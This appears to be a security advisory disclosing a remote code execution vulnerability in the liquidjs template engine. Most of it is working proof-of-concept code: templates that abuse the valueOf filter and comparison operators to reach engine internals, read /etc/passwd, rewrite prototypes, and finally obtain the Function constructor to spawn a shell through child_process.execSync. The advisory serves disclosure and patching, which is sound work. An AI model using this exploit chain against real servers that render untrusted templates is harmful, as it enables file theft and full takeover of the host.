Summary It is possible to execute arbitrary code with crafted templates Details <details> <summary> `1|valueOf` -> `this` when evaluating the filter</summary>{%assign r=1|valueOf%} {{r|inspect}} {"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}} </details><details> <summary> function calls with a controlled first argument via comprable</summary>import { Liquid } from "liquidjs"; const engine = new Liquid(); const storeFn = (dst, src) => { const parts = src.split("."); const path = parts.slice(0, -1).join("."); const prop = parts.at(-1); return ` {% assign _g = ${path}|group_by:"0"%} {% assign _gs = _g | where:n,"${prop}"|first%} {% assign ${dst} = _gs.items | first | last %}`; }; const tpl = ` {% liquid assign r = 1|valueOf assign m = r.context.scopes|first assign fs = r.liquid.options.fs assign n = "name"%} ${storeFn("equals", "fs.readFileSync")} ${storeFn("gt", "fs.readFileSync")} ${storeFn("geq", "fs.readFileSync")} ${storeFn("lt", "fs.readFileSync")} ${storeFn("leq", "fs.readFileSync")} {{m == "/etc/passwd"}} `; const v = await engine.parseAndRender(tpl, {}); console.log(v.trim()); <img width="1426" height="717" alt="image" src="https://github.com/user-attachments/assets/0618eb81-fb0d-4100-a6a0-556982decf8a" /></details><details><summary>changing the prototype of things</summary>import { Liquid } from "liquidjs"; const engine = new Liquid(); engine.registerFilter("log", (val) => console.dir(val, { depth: 1 })); const tpl = ` {% liquid assign r = 1|valueOf assign m = r.context.scopes|first %} {{m|log}} {% assign __proto__ = r.liquid.parser %} {{m|log}} `; const v = await engine.parseAndRender(tpl, {}); console.log(v.trim()); <img width="723" height="211" alt="image" src="https://github.com/user-attachments/assets/c05f4c4a-4151-4765-b569-3300ad837668" /></details> When calling functions via the comparable gadget, "this" will be the scope. By overwriting "this.loader.lookup" and "this.readFile", to fully control what goes into "this.parse", and while controlling "this", a reference to the "Function" constructor can be obtained, which then allows executing arbitrary code. private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> { const filepath = yield this.loader.lookup(file, type, sync, currentFile) return this.parse(yield this.readFile(!!sync, filepath), filepath) } PoC Complete instructions, including specific configuration details, to reproduce the vulnerability. import { Liquid } from "liquidjs"; const engine = new Liquid(); const storeFn = (dst, src) => { const parts = src.split("."); const path = parts.slice(0, -1).join("."); const prop = parts.at(-1); return ` {% assign _g = ${path}|group_by:"0"%} {% assign _gs = _g | where:n,"${prop}"|first%} {% assign ${dst} = _gs.items | first | last %}`; }; const tpl = ` {% liquid assign r = 1|valueOf assign m = r.context.scopes|first assign l = r.liquid assign p = l.parser assign f = l.filters assign n = "name"%} ${storeFn("equals", "p.parseFile")} ${storeFn("gt", "p.parseFile")} ${storeFn("geq", "p.parseFile")} ${storeFn("lt", "p.parseFile")} ${storeFn("leq", "p.parseFile")} ${storeFn("readFile", "f.default")} ${storeFn("lookup", "f.raw.handler")} {% assign loader = m %} {% assign context = m %} {% assign opts = m %} {% assign liquid = m %} {% assign options = m %} {% assign __proto__ = p %} {% assign tagDelimiterLeft = n %} {% assign tagDelimiterRight = n %} {% assign outputDelimiterLeft = '[' %} {% assign outputDelimiterRight = ']'%} {# set to some some function, so that filters['constructor'] -> Function #} ${storeFn("filters", "f.raw.handler")} {# store Function #} {% assign output = m == "[0|constructor]" | first %} {% assign val = output.value.filters|first %} {# set scope.equals to Function #} ${storeFn("equals", "val.handler")} {% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %} {{RCE}} `; const v = await engine.parseAndRender(tpl, {}); console.log(v.trim()); Impact What kind of vulnerability is it? Who is impacted? Remote Code Execution.